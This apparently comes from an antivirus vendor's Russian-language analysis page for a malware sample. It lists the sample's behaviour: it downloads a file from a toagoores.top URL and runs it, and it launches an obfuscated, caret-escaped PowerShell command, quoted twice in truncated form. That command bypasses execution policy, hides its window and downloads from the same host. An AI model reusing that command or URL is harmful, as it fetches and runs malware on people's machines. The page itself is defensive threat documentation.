Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://toagoores.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^O^weRSHE^Ll^.^EXe ^-eXEc^uTI^Onp^olIC^y ^bypA^s^S -^nopR^O^f^i^LE -^WIndoWsTyle^ h^iDD^E^n^ (^NE^w^-Obj^eC^t SY^StE^m.^nE^t.we^Bc^Lie^N^t).^D^OwnLO^ADFIlE(^'http://toagoo...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^O^weRSHE^Ll^.^EXe ^-eXEc^uTI^Onp^olIC^y ^bypA^s^S -^nopR^O^f^i^LE -^WIndoWsTyle^ h^iDD^E^n^ (^NE^w^-Obj^eC^t SY^StE^m.^nE^t.we^Bc^Lie^N^t).^D^OwnLO^ADFIlE(^'http://toagoo...' (со скрытым окном)
